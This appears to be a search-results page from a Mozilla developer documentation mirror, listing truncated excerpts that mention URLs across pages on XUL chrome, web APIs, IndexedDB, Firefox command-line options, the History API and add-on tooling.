the mozilla rendering engine takes the content in the form of html source and transforms it into a document tree. the tree is then converted into a set of objects that can be displayed on the screen. ...
...ne xulrunner application. content from remote sources (e.g. http://localhost/~username/ ), regardless of whether they are html or xul or another document type, are limited in the type of operations they can perform, for security reasons. for this reason, mozilla provides a method of installing content locally and registering the installed files as part of its chrome system. this allows a special
url form, called a chrome://
url, to be used. by accessing a file using a chrome
url, the files receive elevated privileges to access local files, access preferences and bookmarks and perform other privileged operations. obviously, web pages do not get these privileges, unless they are signed with a digital certificate and the user has granted permission to perform these operations. this chrome pack...
...m the extension to mesh with the xul in the browser. to the user, it may seem like the extension has modified the browser, but in reality, the code is all separate, and the extension may be easily uninstalled. registered packages are not required to use overlays, of course. if they don't, you won't be able to access them via the main browser interface, but you can still access them via the chrome
url, if you know what it is. standalone xul applications may include xul code in a similar way, but, of course, the xul for the application will be included as part of the installation, instead of having to be installed separately as an extension. however, this xul code will be registered in the chrome system such that the application can display the ui. it is worth noting that the mozilla browser ...
...And 13 more matches
Third-party APIs - Learn web development
.tilelayer() method), and the default zoom level. this is all the information the mapquest api needs to plot a simple map. the server you are connecting to handles all the complicated stuff, like displaying the correct map tiles for the area being shown, etc. note: some apis handle access to their functionality slightly differently, requiring the developer to make an http request to a specific
url pattern to retrieve data. these are called restful apis — we'll show an example later on. they usually require api keys security for browser apis tends to be handled by permission prompts, as discussed in our first article. the purpose of these is so that the user knows what is going on in the websites they visit and is less likely to fall victim to someone using an api in a malicious way. ...
...ository, you'll already have a copy of this file, which you can find in the javascript/apis/third-party-apis/mapquest directory. next, you need to go to the mapquest developer site, create an account, and then create a developer key to use with your example. (at the time of writing, it was called a "consumer key" on the site, and the key creation process also asked for an optional "callback
url". you don't need to fill in a
url here: just leave it blank.) open up your starting file, and replace the api key placeholder with your key. changing the type of map there are a number of different types of map that can be shown with the mapquest api. to do this, find the following line: layers: l.mapquest.tilelayer('map') try changing 'map' to 'hybrid' to show a hybrid-style map. try som...
...tives available. a restful api — nytimes now let's look at another api example — the new york times api. this api allows you to retrieve new york times news story information and display it on your site. this type of api is known as a restful api — instead of getting data using the features of a javascript library like we did with mapquest, we get data by making http requests to specific
urls, with data like search terms and other properties encoded in the
url (often as
url parameters). this is a common pattern you'll encounter with apis. an approach for using third-party apis below we'll take you through an exercise to show you how to use the nytimes api, which also provides a more general set of steps to follow that you can use as an approach for working with new apis. find the ...
...And 13 more matches
Places utilities for JavaScript
by default its only included in browser.xul. its not an interface, and as such it will never be frozen, but it provides some easy to use functions that can save you from reinventing the wheel and cluttering up your own classes/functions when you need it. global objects there are a few global objects and constants defined in utils.js. ...
...ddfolderui(string atitle, int adefaultinsertionpoint, boolean ashowpicker); array object getannotationsforuri(nsiuri auri); array object getannotationsforitem(int aitemid); void setannotationsforuri(nsiuri auri, object aannos); void setannotationsforuri(int aitemid, object aannos); getviewfornode(nsidomnode anode); void markpageastyped(string a
url); void markpageasfollowedbookmark(string a
url); boolean check
urlsecurity(nsinavhistoryresultnode aurinode); string getquerystringforfolder(int afolderid); string getdescriptionfromdocument(nsidomdocument doc); string setpostdataforbookmark(int aboomarkid, string apostdata); string getpostdataforbookmark(int aboomarkid); array string g...
... void markpageasfollowedbookmark(string a
url); boolean check
urlsecurity(nsinavhistoryresultnode aurinode); string getquerystringforfolder(int afolderid); string getdescriptionfromdocument(nsidomdocument doc); string setpostdataforbookmark(int aboomarkid, string apostdata); string getpostdataforbookmark(int aboomarkid); array string get
urlandpostdataforkeyword(string akeyword); string getitemdescription(int aitemid); nsinavhistoryresultnode getmostrecentbookmarkforuri(nsiuri auri); nsinavhistoryresultnode getmostrecentfolderforfeeduri(nsiuri auri); nsinavhistoryresultnode get
urlsforcontainernode(nsinavhistoryresultnode anode); void opencontainernodeintabs(nsinavhistoryresultnode anode, n...
...And 13 more matches
Using IndexedDB - Web APIs
ub-year" name="pub-year" /> </td> </tr> </tbody> <tbody> <tr> <td> <label for="pub-file"> file image: </label> </td> <td> <input type="file" id="pub-file"/> </td> </tr> <tr> <td> <label for="pub-file-
url"> online-file image
url:<br/> <span class="note">(same origin
url)</span> </label> </td> <td> <input type="text" id="pub-file-
url" name="pub-file-
url"/> </td> </tr> </tbody> </table> <div class="button-pane"> <input type="button" id="add-button" value="add publica...
... iframe.load(function() { $(this).contents().find('html').html(html); }); }); reader.readastext(blob); } else if (blob.type.indexof('image/') == 0) { iframe.load(function() { var img_id = 'image-' + key; var img = $('<img id="' + img_id + '"/>'); $(this).contents().find('body').html(img); var obj_
url = window.
url.createobject
url(blob); $(this).contents().find('#' + img_id).attr('src', obj_
url); window.
url.revokeobject
url(obj_
url); }); } else if (blob.type == 'application/pdf') { $('*').css('cursor', 'wait'); var obj_
url = window.
url.createobject
url(blob); iframe.load(function() { $('*').css('cursor', 'auto'); }); ...
...the ...
...And 13 more matches
Border-image generator - CSS: Cascading Style Sheets
data-stateid="border5"/> <img class="image" src="https://udn.realityripple.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-
url" type="text" placeholder="load an image from
url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider...
...slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background:
url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: ...
...ckground-color: #379b4a; cursor: pointer; } /*************************************************************************************/ /*************************************************************************************/ /* * ui dropdown */ /* dropdown */ .ui-dropdown { height: 2em; width: 120px; font-family: "segoe ui", arial, helvetica, sans-serif; font-size: 12px; background-image:
url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png"); background-position: right center; background-repeat: no-repeat; background-color: #359740; position: relative; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor...
...And 13 more matches
Finishing the Component
« previousnext » at this point you have created most of the infrastructure of the component. the component will be recognized by xpcom and registered with the category manager so that it starts up when xpcom initializes. when the component starts up, it populates a list of
urls read in from a file stored next to the gecko binary on the local system. using frozen interfaces the core functionality of blocking sites is still missing, however. the interfaces needed to block certain
urls from loading are not frozen, and there is still some debate about how exactly this functionality should be exposed to embedders and component developers, so the apis are not ready to be published. this puts you in the same situation as many developers using mozilla - you want to use some specif...
...us summary nsisupports xpcom frozen provides interface discovery, and object reference counting nsiobserver xpcom frozen allows messaging passing between objects nsicontentpolicy content not frozen interface for policy control mechanism iweblock web lock not frozen enables and disables weblock. also, provides access to the
url that are whitelisted. implementing the nsicontentpolicy interface to implement the new interface, you must #include the unfrozen nsicontentpolicy, and you must also make sure the build system can find the file you've brought over. the location of the file and the steps for adding that location to the build system vary depending on how you build this component. once you have made sure tha...
...contentpolicy to the class declaration that provides all of the methods defined in the interface nsicontentpolicy. the updated weblock class looks as follows: class weblock: public nsiobserver, public iweblock, public nsicontentpolicy { public: weblock(); virtual ~weblock(); ns_decl_isupports ns_decl_nsiobserver ns_decl_iweblock ns_decl_nsicontentpolicy private:
urlnode* mroot
urlnode; prbool mlocked; }; remember to change the nsisupports implementation macro to include nsicontentpolicy so that other parts of gecko will know weblock supports the nsicontentpolicy interface without modifying this macro. ns_impl_isupports3(weblock, nsiobserver, iweblock, nsicontentpolicy); receiving notifications to receive notifications, you must register as a new c...
...And 12 more matches
nsIMsgFolder
nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); void recursivedelete(in boolean deletestorage, in nsimsgwindow msgwindow); void createsubfolder(in astring foldername, in nsimsgwindow msgwindow); nsimsgfolder addsubfolder(in astring foldername); void createstorageifmissing(in nsi
urllistener
urllistener); void compact(in nsi
urllistener alistener, in nsimsgwindow amsgwindow); void compactall(in nsi
urllistener alistener, innsimsgwindow amsgwindow,in nsisupportsarray afolderarray, in boolean acompactofflinealso,in nsisupportsarray aofflinefolderarray); void compactallofflinestores(in nsimsgwindow amsgwindow,in nsisupportsarray aofflinefolderarray); ...
...stener alistener, in nsimsgwindow amsgwindow); void compactall(in nsi
urllistener alistener, innsimsgwindow amsgwindow,in nsisupportsarray afolderarray, in boolean acompactofflinealso,in nsisupportsarray aofflinefolderarray); void compactallofflinestores(in nsimsgwindow amsgwindow,in nsisupportsarray aofflinefolderarray); void emptytrash(in nsimsgwindow amsgwindow, in nsi
urllistener alistener); void rename(in astring name, in nsimsgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesummarytotals(in boolean force); void summarychanged(); long getnumunread(in boolean deep); ...
...ssage(in nsifile file, in nsimsgdbhdr msgtoreplace,in boolean isdraft, in unsigned long newmsgflags,in nsimsgwindow msgwindow,in nsimsgcopyservicelistener listener); void acquiresemaphore(in nsisupports semholder); void releasesemaphore(in nsisupports semholder); boolean testsemaphore(in nsisupports semholder); void getnewmessages(in nsimsgwindow awindow, in nsi
urllistener alistener); void writetofoldercache(in nsimsgfoldercache foldercache, in boolean deep); long getnumnewmessages(in boolean deep); void setnumnewmessages(in long numnewmessages); acstring generatemessageuri(in nsmsgkey msgkey); void addmessagedispositionstate(in nsimsgdbhdr amessage,in nsmsgdispositionstate adispositionflag); void markme...
...And 12 more matches
Network request list - Firefox Developer Tools
security icons. file: the basename of the file requested. (starting in firefox 80) on the right edge of the file column, a turtle icon appears if the server waiting time exceeds a threshhold (default: 500 ms). a tooltip explains the problem. you can configure the threshhold in the configuration editor (about:config) by modifying the devtools.netmonitor.audits.slow setting.
url: the
url of the file requested. protocol: the network protocol used to transfer the data, this column is hidden by default. scheme: the scheme (https/http/ftp/...) of the path requested. this column is hidden by default. remote ip: the ip address of the server answering the request. this column is hidden by default. type: content-type of the response. cookies: the number of request cookies...
... timeline the request list also displays a timeline for the different parts of each request. each timeline is given a horizontal position in its row relative to the other network requests, so you can see the total time taken to load the page. for more details on the color-coding used here, see the section on...
...ts, so you can see the total time taken to load the page. for more details on the color-coding used here, see the section on the timings page. starting in firefox 45, the timeline also contains two vertical lines: the blue line marks the point at which the page's domcontentloaded event is triggered. the red line marks the point at which the page's load event is triggered. blocking specific
urls if you want to view your page as it would look without a resource (e.g., if it were blocked by the browser or an extension), you can block requests matching patterns you specify. click the request blocking icon in the toolbar. this opens the blocking sidebar. (click the icon again when you want to close the sidebar.) enter a string in the field with the placeholder text block resource wh...
...And 12 more matches
Microformats - HTML: Hypertext Markup Language
ow microformats work an author of a webpage can add microformats to their html. for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named alice blogger with a
url of http://alice.example.com/. the parser makes this data available via apis that can be used for different applications. as in this example, some markup patterns require only a single microformat root class name, which parsers use to find a few generic properties such as name,
url, photo. microformats prefixes all microformats consist of a root, and a collection of properties. properties are ...
...y describes episodic or date stamped online content like a blog post h-feed describes a stream or feed of posts you can find many more vocabularies on the microformats2 wiki. "p-*" for plain (text) properties, e.g. "p-name", "p-summary" generic plain text parsing, element text in general. on certain html elements, use special attributes first, e.g. img/alt, abbr/title. "u-*" for
url properties, e.g. "u-
url", "u-photo", "u-logo" special parsing: element attributes a/href, img/src, object/data etc. attributes over element contents. "dt-*" for datetime properties, e.g. "dt-start", "dt-end", "dt-bday" special parsing: time element datetime attribute, value-class-pattern and separate date time value parsing for readability. "e-*" for element tree properties wher...
...ally remembered as "element tree", "embedded markup", or "encapsulated markup". some microformats examples h-card the h-card microformat represents a a person or organization. the value of each property is defined in html using the class property any element can carry example h-card <p class="h-card"> <img class="u-photo" src="http://example.org/photo.png" alt="" /> <a class="p-name u-
url" href="http://example.org">joe bloggs</a> <a class="u-email" href="mailto:joebloggs@example.com">joebloggs@example.com</a>, <span class="p-street-address">17 austerstræti</span> <span class="p-locality">reykjavík</span> <span class="p-country-name">iceland</span> </p> property description p-name the full/formatted name of the person or organization. u-...
...And 12 more matches
OpenSearch description format
ou're writing. ...
...it must be 1...
...it must be 16 or fewer characters of plain text, with no html or other markup. description a brief description of the search engine. it must be 1024 or fewer characters of plain text,...
...And 12 more matches
Caching compiled WebAssembly modules - WebAssembly
d any other type of cloneable object. this includes compiled wasm modules (webassembly.module javascript objects). setting up a caching library because indexeddb is a somewhat old-fashioned api, we wanted to provide a library function to speed up writing caching code, and make it work better along with today's more modern apis. in our wasm-utils.js library script, you'll find instantiatecached
url() — this function fetches the wasm module at
url with a version of dbversion, instantiates it with the given importobject, and returns a promise resolving to the finished wasm instance. additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from the database, saving you from havin...
...stantiates it with the given importobject, and returns a promise resolving to the finished wasm instance. additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from the database, saving you from having to download them again. ...
...ally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from the database, saving you from having to download them again. note: the entire site's wasm cache (not just the given
url) is versioned by the specified dbversion passed into the function. if the wasm module code is updated, or its
url changes, you will need to update dbversion. ...
...And 12 more matches
places/bookmarks - Archive of obsolete content
represents only a snapshot of state at a specific time. the module does not automatically sync up a bookmark instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user. ...
...this will be saved implicitly. save(bookmarks).on("d...
...this will be saved implicitly. save(bookmarks).on("data", function (saved, input) { // a data event is called once for each ite...
...And 11 more matches
Supporting search suggestions in search plugins - Archive of obsolete content
firefox supports search suggestions in opensearch plugins; as the user types in the search bar, firefox queries the
url specified by the search plugin to fetch live search suggestions. once the list has been retrieved, it's displayed in a popup box that appears under the search bar, which lets the user select a suggested search term. if the user continues to type, a new set of suggestions is requested from the search engine, and the displayed list is refreshed. implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <
url> element with its type attribute set to "application/x-suggestions+json". ...
... user continues to type, a new set of suggestions is requested from the search engine, and the displayed list is refreshed. implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <
url> element with its type attribute set to "application/x-suggestions+json". ...
...d from the search engine, and the displayed list is refreshed. implementing suggestion support in the search plugin to support search suggestions, a search plugin needs to define an extra <
url> element with its type attribute set to "application/x-suggestions+json". ...
...And 11 more matches
Ajax navigation example - Web APIs
unction ajaxerror () { alert("unknown error."); } function ajaxload () { var vmsg, nstatus = this.status; switch (nstatus) { case 200: vmsg = json.parse(this.responsetext); document.title = opageinfo.title = vmsg.page; document.getelementbyid(stargetid).innerhtml = vmsg.content; if (bupdate
url) { history.pushstate(opageinfo, opageinfo.title, opageinfo.
url); bupdate
url = false; } break; default: vmsg = nstatus + ": " + (ohttpstatus[nstatus] || "unknown"); switch (math.floor(nstatus / 100)) { /* case 1: // info...
..."&" + sviewkey + "=" + sviewmode : "").slice(1)).replace(rendqstmark, ""); } function getpage (spage) { if (bisloading) { return; } oreq = new xmlhttprequest(); bisloading = true; oreq.onload = ajaxload; oreq.onerror = ajaxerror...
..."&" + sviewkey + "=" + sviewmode : "").slice(1)).replace(rendqstmark, ""); } function getpage (spage) { if (bisloading) { return; } oreq = new xmlhttprequest(); bisloading = true; oreq.onload = ajaxload; oreq.onerror = ajaxerror; ...
...And 11 more matches
page-worker - Archive of obsolete content
create a permanent, invisible page and access its dom. usage the module exports a constructor function page, which constructs a new page worker. a page worker may be destroyed, after which its memory is freed, and you must create a new instance to load another page. you specify the page to load using the content
url option to the page() constructor. ...
...on page, which constructs a new page worker. a page worker may be destroyed, after which its memory is freed, and you must create a new instance to load another page. you specify the page to load using the content
url option to the page() constructor. this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", content
url: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on. ...
...using the content
url option to the page() constructor. this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", content
url: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on. to do this, save the file in your add-on's data directory and create the
url using the data.
url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", content
url: require("sdk/self").data.
url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.
url("myfile.html"). so you can rewrite the above code like this: pageworker = require("sdk/page-worker").page...
...And 10 more matches
Downloading Files - Archive of obsolete content
the following methods of downloading files may not work as expected after firefox 26, and should no longer be used. please use downloads.jsm instead. downloading files to download a file, create an instance of nsiwebbrowserpersist and call its nsiwebbrowserpersist.saveuri() method, passing it a
url to download and an nsifile instance representing the local file name/path. components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain t...
...les/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); // obtain the privacy context of the browser window that the
url // we are downloading comes from. if, and only if, the
url is not // related to a window, null should be used instead. var privacy = privatebrowsingutils.privacycontextfromwindow(
urlsourcewindow); persist.persistflags = persist.persist_flags_from_cache | persist.persist_flags_replace_existing_files; persist.saveuri(uritosave, null, null, null, "", targetfile, privacy); if ...
...import("resource://gre/modules/privatebrowsingutils.jsm"); const webbrowserpersist = components.constructor("@mozilla.org/embedding/browser/nswebbrowserpersist;1", "nsiwebbrowserpersist"); var persist = webbrowserpersist(); var targetfile = services.dirsvc.get("desk", ci.nsifile); targetfile.append("file.bin"); var obj_uri = services.io.newuri(a
urltodownload, null, null); // obtain the privacy context of the browser window that the
url // we are downloading comes from. if, and only if, the
url is not // related to a window, null should be used instead. var privacy = privatebrowsingutils.privacycontextfromwindow(a
urlsourcewindow); var progresselement = document.getelementbyid("progress_element"); persist.progresslistener = { onprogressch...
...And 10 more matches
Choosing the right approach - Learn web development
cient or flexible. use only when necessary. useful for... ...
... delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(
url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get',
url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let object
url =
url.createobject
url(blob); let image = document.createelement('img'); image.src = object
url; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); pitfalls nested callbacks can be cumbersome and hard t...
...if you nest a number of promises, you can end up with similar troubles to callback hell. for examp...
...And 10 more matches
Command line options
.x only. "profile_path" can either be an absolute path ("/path/to/profile") or a relative path ("path/to/profile"). note: on mac os x specifying a relative path is not supported anymore from firefox 4.0 and up due to a regression, see bug 673955. browser -browser start with the browser component. firefox and seamonkey only. -foreground make this instance the active application. -new-tab
url open
url in a new tab. firefox and seamonkey2.x only. -new-window
url open
url in a new window. firefox and seamonkey2.x only. --kiosk
url open
url full screen without user interface. firefox 71 and later. -preferences open options/preferences window. firefox and seamonkey2.x only. -private opens firefox in permanent private browsing mode. firefox 3.6 and later only. may not be applicab...
...ter. -preferences open options/preferences window. firefox and seamonkey2.x only. -private opens firefox in permanent private browsing mode. firefox 3.6 and later only. may not be applicable in older ubuntu for firefox 20 and later, confirmed to work in 14.04. -private-window opens a new private browsing window in an existing instance of firefox. firefox 20 and later only. -private-window
url open
url in a new private browsing window. if a private browsing window is already open, a new tab is opened in the existing window. firefox 29 and later only. does not work in firefox 31 on linux mint 17 nor on firefox 48 on windows 7.
url opens in a non-private window. -search term search term with your default search engine. firefox and seamonkey 2.1 and later only. -setdefaultbrowser set...
... browsing window is already open, a new tab is opened in the existing window. firefox 29 and later only. does not work in firefox 31 on linux mint 17 nor on firefox 48 on windows 7.
url opens in a non-private window. -search term search term with your default search engine. firefox and seamonkey 2.1 and later only. -setdefaultbrowser set the application as the default browser. firefox only. -
url url open
url in a new tab or window, depend on the browser option. -
url can be omitted. you may list multiple
urls, separated by spaces. firefox and seamonkey only. firefox www.mozilla.com firefox www.mozilla.com developer.mozilla.org note: when opening multiple
urls, firefox always opens them as tabs in a new window. mail/news -addressbook start with address book. thunderbird and seamonk...
...And 10 more matches
Recommended Drag Types - Web APIs
the document describes best practices for common draggable data types. caution: all methods and properties in this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers. dragging text for dragging text, use the text/plain type. the second data parameter should be the dragged string. for example: event.datatransfer.setdata("text/plain", "this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself. ...
...l text alternative. always add this text/plain type last, as it is the least specific and shouldn’t be preferred. note: in older code, you may find text/unicode or the text types. these are equivalent to text/plain, and will store and retrieve plain text data. dragging links dragged hyperlinks should include data of two types: text/uri-list, and text/plain. both types should use the link’s
url for their data. for example: var dt = event.datatransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type. note: the
url type is uri-list with an i, not an l. to drag multiple links, separate each link inside the text/uri-list data with a crlf linebrea...
..., "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type. note: the
url type is uri-list with an i, not an l. to drag multiple links, separate each link inside the text/uri-list data with a crlf linebreak. lines that begin with a number sign (#) are comments, and should not be considered
urls. you can use comments to indicate the purpose of a
url, the title associated with a
url, or other data. the text/plain fallback for multiple links should include all
urls, but no comments. for example, this sample text/uri-list data contains two links and a comment: http://www.mozilla.org #a second link http://www.example.com when retrieving a dropped link, ensure you handle when multiple...
...And 10 more matches
Working with the History API - Web APIs
html5 introduced the pushstate() and replacestate() methods for add and modifying history entries, respectively. these methods work in conjunction with the onpopstate event. adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state. ...
...ader for xmlhttprequest objects created after you change the state. the referrer will be the
url of the document whose window is this at the time of creation of the xmlhttprequest object. example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the
url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists. suppose now that the user navigates to http://google.com, then clicks the back button. at this point, the
url bar will display http://mozilla.org/bar.html and history.state will contain the stateobj. the popstate event won't be fired because the page has been reloaded. the...
...d bar.html or even check that bar.html exists. suppose now that the user navigates to http://google.com, then clicks the back button. at this point, the
url bar will display http://mozilla.org/bar.html and history.state will contain the stateobj. the popstate event won't be fired because the page has been reloaded. the page itself will look like bar.html. if the user clicks back once again, the
url will change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object. here too, going back doesn't change the document's contents from what they were in the previous step, although the document might update its contents manually upon receiving the popstate event. note: calling history.back() normally behaves the same way as clicking the back...
...And 10 more matches
Window.open() - Web APIs
the window interface's open() method loads the specified resource into the new or existing browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new browsing context is opened in a new tab or a new window, and the specified resource is loaded into it. syntax var window = window.open(
url, windowname, [windowfeatures]); parameters
url a domstring indicating the
url of the resource to be loaded. this can be a path or
url to an html page, image file, or any other resource that is supported by the browser. if the empty string ("") is specified as
url, a blank page is opened into the targeted browsing context. windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specifie...
...ed window, and has all its features available. if the window couldn't be opened, the returned value is instead null. the returned reference can be used to access properties and methods of the new window as long as it complies with same-origin policy security requirements. description the open() method creates a new secondary browser window, similar to choosing new window from the file menu. ...
...eatures available. if the window couldn't be opened, the returned value is instead null. the returned reference can be used to access properties and methods of the new window as long as it complies with same-origin policy security requirements. description the open() method creates a new secondary browser window, similar to choosing new window from the file menu. the
url parameter specifies the
url to be fetched and loaded in the new window. if
url is an empty string, then a new blank, empty window (
url about:blank) is created with the default toolbars of the main window. note that remote
urls won't load immediately. when window.open() returns, the window always contains about:blank. the actual fetching of the
url is deferred and starts after the current script block finishes executing. th...
...And 10 more matches
src - CSS: Cascading Style Sheets
the src css descriptor of the @font-face rule specifies the resource containing font data. it is required for the @font-face rule to be valid. ...
... the src css descriptor of the @font-face rule specifies the resource containing font data. it is required for the @font-face rule to be valid. ...
... the src css descriptor of the @font-face rule specifies the resource containing font data. it is required for the @font-face rule to be valid. ...
...And 10 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
specify svg in styles either within the same document or an external style sheet. there are 3 properties you can use: mask, clip-path, and filter. note: references to svg in external files must be to the same origin as the referencing document. using embedded svg to apply an svg effect using css styles, you first need to create the css style that references the svg to apply. <style>p { mask:
url(#my-mask); }</style> in the above example, all paragraphs are masked by an svg <mask> with the id my-mask. example: masking for example, you can make a gradient mask for html content using svg and css code similar to the following, inside your html document: <svg height="0"> <mask id="mask-1"> <lineargradient id="gradient-1" y2="1"> <stop stop-color="white" offset="0"/> <st...
...everything else specifies details about the gradient mask itself. applying the svg effect to (x)html is accomplished by assignin...
...everything else specifies details about the gradient mask itself. applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like this...
...And 10 more matches
jpm - Archive of obsolete content
jpm init create a skeleton add-on as a starting point for your add-on. jpm run launch an instance of firefox with your add-on installed. jpm test runs your add-on's unit tests. jpm xpi package your add-on as an xpi file, which is the install file format for firefox add-ons. jpm post package your add-on as an xpi file, and then post it to some
url. jpm watchpost package your add-on as an xpi file whenever there is a file change and post that to some
url. jpm sign package your add-on as an xpi file, and then retrieve a new xpi signed by mozilla. jpm init this command initializes a new add-on from scratch. create a new directory, change into it, and run jpm init. mkdir my-addon cd my-addon jpm init you'll t...
...pm run -b /path/to/firefox/nightly see selecting a browser version. --binary-args cmdargs pass extra arguments to firefox. for example, to pass the -jsconsole argument to firefox and launch the browser console, try the following: jpm run --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: jpm run --binary-args '-
url mzl.la -jsconsole' --debug run the add-on debugger attached to the add-on. -o --overload path rather than use the sdk modules built into firefox, use the modules found at path. if -o is specified and path is omitted, jpm looks for the jetpack_root environment variable and use its value as the path. see overloading the built-in modules for more information. ...
.../to/firefox/nightly see selecting a browser version. --binary-args cmdargs pass extra arguments to firefox. for example, to pass the -jsconsole argument to firefox, which will launch the browser console, try the following: jpm test --binary-args -jsconsole to pass multiple arguments, or arguments containing spaces, quote them: jpm test --binary-args '-
url mzl.la -jsconsole' --debug run the add-on debugger attached to the add-on. -f --filter file[:test] only run tests whose filenames match file and optionally match test, both regexps. jpm test --filter base64:btoa the above command only runs tests in files whose names contain "base64", and in those files only runs tests whose names contain "btoa". ...
...And 9 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
older. you can modify/redesign these icons to match your theme provided appropriate padlock icons are used for secure sites but not on insecure sites. ...
...ocation in the browser.css file and modified as necessary: /* page proxy icon */ #page-proxy-favicon { width: 16px; height: 16px; margin: 1px 3px; list-style-image:
url(chrome://browser/skin/identity-icons-generic.png); -moz-image-region: rect(0, 16px, 16px, 0); } .verifieddomain > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image:
url(chrome://browser/skin/identity-icons-https.png); } .verifiedidentity > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { list-style-image:
url(chrome://browser/skin/identity-icons-https-ev.png); } #identity-box:hover > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { -moz-image-region: rect(0, 32px, 16px, 16px); } #identity-box:hover:active > #i...
... address bar "door hangers" door hanger sync panel not styled the sync panel at the bottom of the "door hanger" for the save password panel displayed when a user logs into a website n...
...And 9 more matches
Command line crash course - Learn web development
o, along with names of relevant tools in each case: navigate your computer’s file system along with base level tasks such as create, copy, rename and delete: move around your directory structure: cd create directories: mkdir create files (and modify their metadata): touch copy files: cp move files: mv delete files or directories: rm download files found at specific
urls: c
url search for fragments of text inside larger bodies of text: grep view a file's contents page by page: less, cat manipulate and transform streams of text (for example changing all the instances of <div>s in an html file to <article>): awk, tr, sed note: there are a number of good tutorials on the web that go much deeper into the command line on the web — this is only a brief introduc...
...st like you do when specifying paths to images or other assets in css, html, or javascript code: cd desktop/project/src note that including a leading slash on your path makes the path absolute, for example /users/your-user-name/desktop. omitting the leading slash like we’ve done above makes the path relative to the your present working directory. this is exactly the same as you would see with
urls in your web browser. a leading slash means "at the root of the web site", whereas omitting the slash means "the
url is relative to my current page". note: on windows you use backslashes instead of forward slashes, e.g. cd desktop\project\src — this may seem really odd, but if you are interested in why, watch this youtube clip featuring an explanation by one of microsoft’s principal enginee...
... command. in this case, ls would normally print its output to stdout, but instead ls’s output is being piped into wc, which takes that output as an input, counting the number of lines it contains, and prints that count to stdout instead. a slightly more complex example let’s go through something a bit more complicated. ...
...And 9 more matches
